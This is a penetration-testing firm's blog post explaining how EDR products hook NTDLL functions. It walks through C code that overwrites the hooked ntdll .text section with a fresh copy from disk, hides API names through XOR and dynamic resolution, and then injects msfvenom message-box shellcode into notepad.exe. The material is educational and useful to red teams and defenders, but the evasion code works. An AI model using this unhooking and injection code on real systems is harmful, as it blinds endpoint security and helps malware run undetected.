Classic API Unhooking to Bypass EDR Solutions

Posted by Brendan Ortiz on November 29, 2021 Link 

Defeating Av


This blog post will be covering the classic technique used to unhook Windows APIs from EDR solutions. API hooking is a technique that is used by anti-virus and EDR solutions in an attempt to monitor process and code behavior in real time. Commonly, EDR solutions will hook Windows APIs in NTDLL.dll because the APIs in the NTDLL.dll library are the last API called before a syscall is made, which switches execution context to the kernel. EDR solutions will generally target APIs that are known to be used by malware developers.

If you want to follow along I have included the source code for the program in my GitHub Repo.

Unhooked Vs. Hooked APIs

To make things simple I will give a short explanation and summary of a hooked vs. unhooked API. I am currently running the sample program on a Windows 10 virtual machine loaded with the free version of BitDefender. Of course this won't be the most robust security solution available; however, this AV does have the API hooking capability we desire. Therefore after compiling the sample program, I run it from two locations. The first location is from a BitDefender exclusion folder and the next is one BitDefender has visibility into. I attach the x64dbg debugger to each process and view details using ProcessHacker. If you're running the program from a location with an exclusion rule in the anti-virus product, the process' memory will not have the anti-virus' DLL loaded into memory which is responsible for hooking and triggering on malicious activity. This is evidenced by the following screen shot:

Whenever a new process is spawned, the anti-virus product is responsible for injecting itself into the process' memory, loading the hooking DLL and the "logic" DLL that decides if activity is malicious. If you're wondering why our program has two versions of NTDLL.DLL loaded into its memory, that is because our program actually loads a fresh copy of the DLL into memory from disk and then pauses so we can inspect such details. We will dive more into that later, because this is actually part of the process for unhooking our DLLs. As an example of a hooked vs. not hooked API we need to attach a debugger to both processes. Next, we'll search for an API that is commonly used in malware, such as NtMapViewOfSection. This is done by going to Symbols -> selecting Ntdll.dll -> searching for NtMapViewOfSection -> and then double clicking the function. That will bring you to the location of that function in the disassembler.

The first screenshot shown below will be an example of what an API looks like when it's not hooked:

A value is moved into the r10 register from rcx, then 28 (the syscall number) is moved into eax, and then the syscall command is executed. The next screenshot is an example of the same function when it is hooked by EDR solutions:

In this hooked API the instructions are overridden with a jmp <address> instruction. If we follow this jmp instruction we are directed to the following location:

Here some values are shuffled around in the RCX and RSP register. Then we call a function located at 7FFEB06F04F3. If we call this function, we jump to the location of 00007FF4B0E31000. Upon further inspection we see that the values of all registers are saved to the stack and are likely used later for inspection. If anything is found as malicious then the anti-virus product will terminate execution of the program. This is demonstrated by the following screenshot:

Additionally, if we look at the memory map of the program, we can see that we are indeed in the anti-virus product's hooking DLL.

Although that was an oversimplification of a hooked DLL the idea is established. When you create a new process the anti-virus product injects a DLL into the process that will hook sensitive APIs. These hooked APIs will deliver all data to the anti-virus product for inspection. If the data is found to be malicious for the API that is called then the anti-virus product shuts down execution of the process. Which leads us to the subject of this blog post: what can we as attackers do to prevent the anti-virus product from viewing our data? The answer is simple! Override the ntdll.dll that is hooked by the anti-virus product with the legitimate one, then any API from the NTDLL.dll module we call will no longer be hooked!

API Unhooking

The next section will be describing the code of the sample program that I linked to my GitHub.

    int pid = 0;
    HANDLE hProc = NULL;
    //unsigned char sNtdllPath[] = "c:\\windows\\system32\\";
    unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };
    unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
    unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
    unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };
    unsigned int sNtdllPath_len = sizeof(sNtdllPath);
    unsigned int sNtdll_len = sizeof(sNtdll);
    int ret = 0;
    HANDLE hFile;
    HANDLE hFileMapping;
    LPVOID pMapping;

We start first in the main function. We start first by initializing an Xor encrypted string of C:\\Windows\\System32\\. When the create character arrays, which we will use as strings, holding the values of Windows APIs we intend to call. We store them as character arrays rather than character pointers because this is a simple obfuscation technique used to bypass some anti-virus engines. The next part is establishing string lengths and uninitialized values.

    // get function pointers
    // used to import functions for use without adding them to the import table directory.
    CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t)GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sCreateFileMappingA);
    MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t)GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sMapViewOfFile);
    UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t)GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sUnmapViewOfFile);
    // open ntdll.dll
    // opens a fresh copy of the NTDLL.dll binary.
    // starts by xor decrypting the NTDLL.dll file path
    XORcrypt((char*)sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
    // opens a handle to the unhooked version of the NTDLL.dll binary.
    if (hFile == INVALID_HANDLE_VALUE) {
        // failed to open ntdll.dll
        return -1;

Next, we obtain the addresses of the windows APIs we intend to use to load the fresh copy of NTDLL.dll into memory and save them as pointers. We do this as another obfuscation technique since this prevents the malicious APIs from ever being loaded into the import address table; rather they're resolved dynamically at runtime. Next, we decrypt the location of the NTDLL.DLL file and then obtain an handle to the file using CreateFileA and the path. If the handle is invalid then the file was not read correctly and we exit.

// prepare file mapping
    // then we create a file mapping for our fresh NTDLL.dll copy.
    hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    if (!hFileMapping) {
        // file mapping failed
        return -1;
    // map the bastard
    // then we map the file into our process memory!
    pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
    if (!pMapping) {
        // mapping failed
        return -1;
    printf("Check 1!\n"); getchar();
    // remove hooks
    // then we call our unhooking function, by passing as parameters the location of the hooking NTDLL.dll memory location and our mapped unhooked version.
    ret = UnhookNtdll(GetModuleHandleA((LPCSTR)sNtdll), pMapping);

Next we create a mapping that we will store our NTDLL.DLL into. Following that we map the file into the mapping location. We then pause the program so we can perform inspection of the process like we did for the explanation of the hooked vs. unhooked APIs. Next, we call the UnhookNtdll function using the location of the hooked NTDLL.DLL module, and the location of the unhooked NTDLL.DLL module.

        UnhookNtdll() finds .text segment of fresh loaded copy of ntdll.dll and copies over the hooked one
    // create a pointer to the NTHeaders of the unhooked NTDLL.dll binary.
    DWORD oldprotect = 0;
    PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
    int i;
    // string obfuscation of VirtualProtect0x0 using a character array rather than char *.
    unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
    // create pointer to the virtualProtect function for use w/o adding the function to our import address table.
    VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);

We start the UnhookNtdll function by establishing an oldprotect variable, which will be used later. Next we create pointers to the NT and DOS Headers of the fresh NTDLL.DLL module. Next, we create a character array containing the string VirtualProtect and then create a pointer to the VirtualProtect function, again this removes the function from the import address table. 

// find .text section
    for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
        //compare the section name with ".text" if passes continue.
        if (!strcmp((char*)pImgSectionHead->Name, ".text")) {
            // prepare ntdll.dll memory region for write permissions.
            // open the hooked NTDLL.dll memory location + the virtual address of the unhooked .text section and change the entire .text region to execute_readwrite mem permissions.
            VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
            //simply checks if oldProtect has a value, should be execute_read.
            if (!oldprotect) {
                // RWX failed!
                return -1;

This next section is taking the steps to prepare the hooked NTDLL.DLL module to be mapped. This is accomplished by obtaining a pointer to the .text section's virtual address by iterating through the memory sections of the unhooked NTDLL.DLL module. Once the virtual address is found, we use the base address of the hooked NTDLL.DLL module, add the virtual address of the .text section, and pass them to along with the size of the .text section to the virtualprotect function pointer. We do this to change the memory protections from executable and readable to executable, readable, and writeable.

            // copy fresh .text section into ntdll memory
            // use mem copy to copy entire .text section over the unhooked NTDLL.dll over the hooked version of the NTDLL.dll
            memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
                (LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),
            // restore original protection settings of ntdll memory
            VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
            if (!oldprotect) {
                // it failed
                return -1;
            return 0;

Next, we use memcpy to copy the unhooked NTDLL.DLL's .text section over the location of the hooked NTDLL.DLL's .text section. This is done using the base pointers of each module adding the virtual address, and then using the size of the .text section. When this is completed we change the memory protections back to executable and readable and then return to main. Once we're back in main we hit another printf statement and then getchar that will pause program execution so we can inspect our program in the debugger. If we reanalyze the module, all of the APIs that were previously hooked are now unhooked! 

// Clean up.
    pid = FindTarget(L"notepad.exe");
    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);
        // try to open target process
            FALSE, (DWORD)pid);
        if (hProc != NULL) {
            Inject(hProc, payload, payload_len);
    return 0;

The rest of the program is a simple classic shellcode injection technique. We open up the notepad process, and then inject shellcode into it. I won't go into detail on how this works however, the important thing to note is that we are using encrypted message box shellcode generated by MsfVenom. Since this shellcode must be decrypted before it's passed to the WriteProcessMemory and CreateRemoteThread functions, it will always trigger the anti-virus product. MsfVenom shellcode has been heavily dissected by the security community and will likely trigger on almost all anti-virus products. However, since we unhooked the NTDLL.DLL module before usage of these APIs, the security solution has zero visibility into the code we are injecting into the process, thus a messagebox is spawned!

All code was developed by the Sektor7 Institute team. Brendan Ortiz is an Offensive Security Consultant with Depth Security a Konica Minolta Service. If you'd like to stay up to date with Brendan and his work you can find him on Twitter or on LinkedIn. If you're interested in hiring Depth Security for our Penetration Testing services, please visit our contact page or email

Have Questions?
Get Answers